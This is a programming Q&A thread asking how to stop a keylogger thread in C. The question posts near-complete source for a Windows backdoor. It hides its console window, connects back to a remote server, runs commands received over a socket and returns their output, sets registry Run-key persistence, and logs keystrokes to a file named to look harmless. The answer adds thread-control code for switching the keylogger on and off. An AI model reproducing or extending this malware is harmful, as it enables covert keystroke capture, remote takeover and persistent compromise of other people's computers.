How to close this thread in C? - c

Question

Is it possible to close thread from "keylog_start" else if statement in another else if statement with winapi?
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
DWORD WINAPI logg(){
int vkey, last_key_state[0xFF];
int isCAPSLOCK,isNUMLOCK;
int isL_SHIFT,isR_SHIFT;
int isPressed;
char showKey;
char NUMCHAR[] = ")!##$%^&*(";
char chars_vn[] = ";=,-./`";
char chars_vs[] = ":+<_>?~";
char chars_va[] = "[\\]\';";
char chars_vb[] = "{|}\"";
FILE *kh;
char KEY_LOG_FILE[] = "windows.txt";
for(vkey=0; vkey<0xFF;vkey++){
last_key_state[vkey] = 0;
}
while(1){
Sleep(10);
isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
for(vkey=0; vkey<0xFF;vkey++){
isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
showKey=(char)vkey;
if(isPressed==1 && last_key_state[vkey]==0){
if(vkey>=0x41 && vkey<=0x5A){
if(isCAPSLOCK==0){
if(isL_SHIFT==0 && isR_SHIFT==0){
showKey=(char)(vkey+0x20);
}
}
else if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=(char)(vkey+0x20);
}
}
else if(vkey>=0x30 && vkey<=0x39){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=NUMCHAR[vkey-0x30];
}
}
else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1){
showKey=(char)(vkey-0x30);
}
else if(vkey>=0xBA && vkey<=0xC0){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vs[vkey-0xBA];
}
else{
showKey=chars_vn[vkey-0xBA];
}
}
else if(vkey>=0xDB && vkey<=0xDF){
if(isL_SHIFT==1 || isR_SHIFT==1){
showKey=chars_vb[vkey-0xDB];
}
else{
showKey=chars_va[vkey-0xDB];
}
}
else if(vkey==0x0D){
showKey=(char)0x0A;
}
else if(vkey>=0x6A && vkey<=0x6F){
showKey=(char)(vkey-0x40);
}
else if(vkey!=0x20 && vkey!=0x09){
showKey=(char)0x00;
}
if(showKey!=(char)0x00){
kh=fopen(KEY_LOG_FILE,"a");
putc(showKey,kh);
fclose(kh);
}
}
last_key_state[vkey]=isPressed;
}
}
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "keylogger.h"
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
int bootRun(){
char err[128] = "Failed\n";
char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;
pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
if(pathLen == 0){
send(sock, err, sizeof(err), 0);
return -1;
}
HKEY NewVal;
if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS){
send(sock, err, sizeof(err), 0);
return -1;
}
DWORD pathLenInBytes = pathLen * sizeof(*szPath);
if(RegSetValueEx(NewVal, TEXT("[XPOSED]Agent"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS){
RegCloseKey(NewVal);
send(sock, err, sizeof(err), 0);
return -1;
}
RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;
}
char *
str_cut(char str[], int slice_from, int slice_to){
if(str[0] == '\0')
return NULL;
char *buffer;
size_t str_len, buffer_len;
if(slice_to < 0 && slice_from > slice_to){
str_len = strlen(str);
if (abs(slice_to) > str_len -1)
return NULL;
if (abs(slice_from) > str_len)
slice_from = (-1) * str_len;
buffer_len = slice_to - slice_from;
str += (str_len + slice_from);
} else if (slice_from >= 0 && slice_to > slice_from){
str_len = strlen(str);
if (slice_from > str_len - 1)
return NULL;
buffer_len = slice_to - slice_from;
str += slice_from;
} else
return NULL;
buffer = calloc(buffer_len, sizeof(char));
strncpy(buffer, str, buffer_len);
return buffer;
}
void Shell(){
char buffer[1024];
char container[1024];
char total_response[18384];
while(1){
jump:
bzero(buffer,1024);
bzero(container,sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
if(strncmp("q", buffer, 1) == 0){
closesocket(sock);
WSACleanup();
exit(0);
}
else if(strncmp("cd ", buffer, 3) == 0){
chdir(str_cut(buffer,3,100));
}
else if(strncmp("persist", buffer, 7) == 0){
bootRun();
}
else if(strncmp("keylog_start", buffer, 12) == 0){
HANDLE thread = CreateThread(NULL, 0, logg, NULL, 0, NULL);
goto jump;
}
else if(strncmp("keylog_stop", buffer, 11) == 0){
goto jump;
}
else{
FILE * fp;
fp = _popen(buffer, "r");
while(fgets(container, 1024, fp) != NULL){
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "";
ServPort = 50005;
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0){
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0){
Sleep(10);
goto start;
}
/*MessageBox(NULL, TEXT("You have been pwned!"), TEXT("[XPOSED]Agent"), MB_OK | MB_ICONERROR); */
Shell();
}

Answer 1

Modify your logg function as follows. I'm not sure how you aren't getting a warning about your thread function missing a void* parameter. Perhaps C is more relaxed in the type checking.
struct LogOptions
{
CRITICAL_SECTION cs;
bool isExitCondition;
};
DWORD WINAPI logg(void* args){
...
LogOptions* pOptions = (LogOptions*)args;
...
while(1){
bool isExit = false;
EnterCriticalSection(&pOptions->cs);
isExit = pOptions->isExitCondition;
LeaveCriticalSection(&pOptions->cs);
if (isExit) {
break;
}
Sleep(10);
Create your thread like this:
LogOptions* pOptions = malloc(sizeof(LogOptions));
pOptions->isExitCondition = false;
InitializeCriticalSection(&pOptions->cs);
HANDLE thread = CreateThread(NULL, 0, logg, pOptions, 0, NULL);
When it's time to stop your thread, do this:
// signal the thread to exit by setting the shared variable to true
EnterCriticalSection(&pOptions->cs);
pOptions->isExitCondition = true;
LeaveCriticalSection(&pOptions->cs);
// wait for thread to exit
WaitForSingleObject(thread, INFINITE);
// release resources
CloseHandle(thread);
free(pOptions);
It's up to you how you will store and pass thread and pOptions around.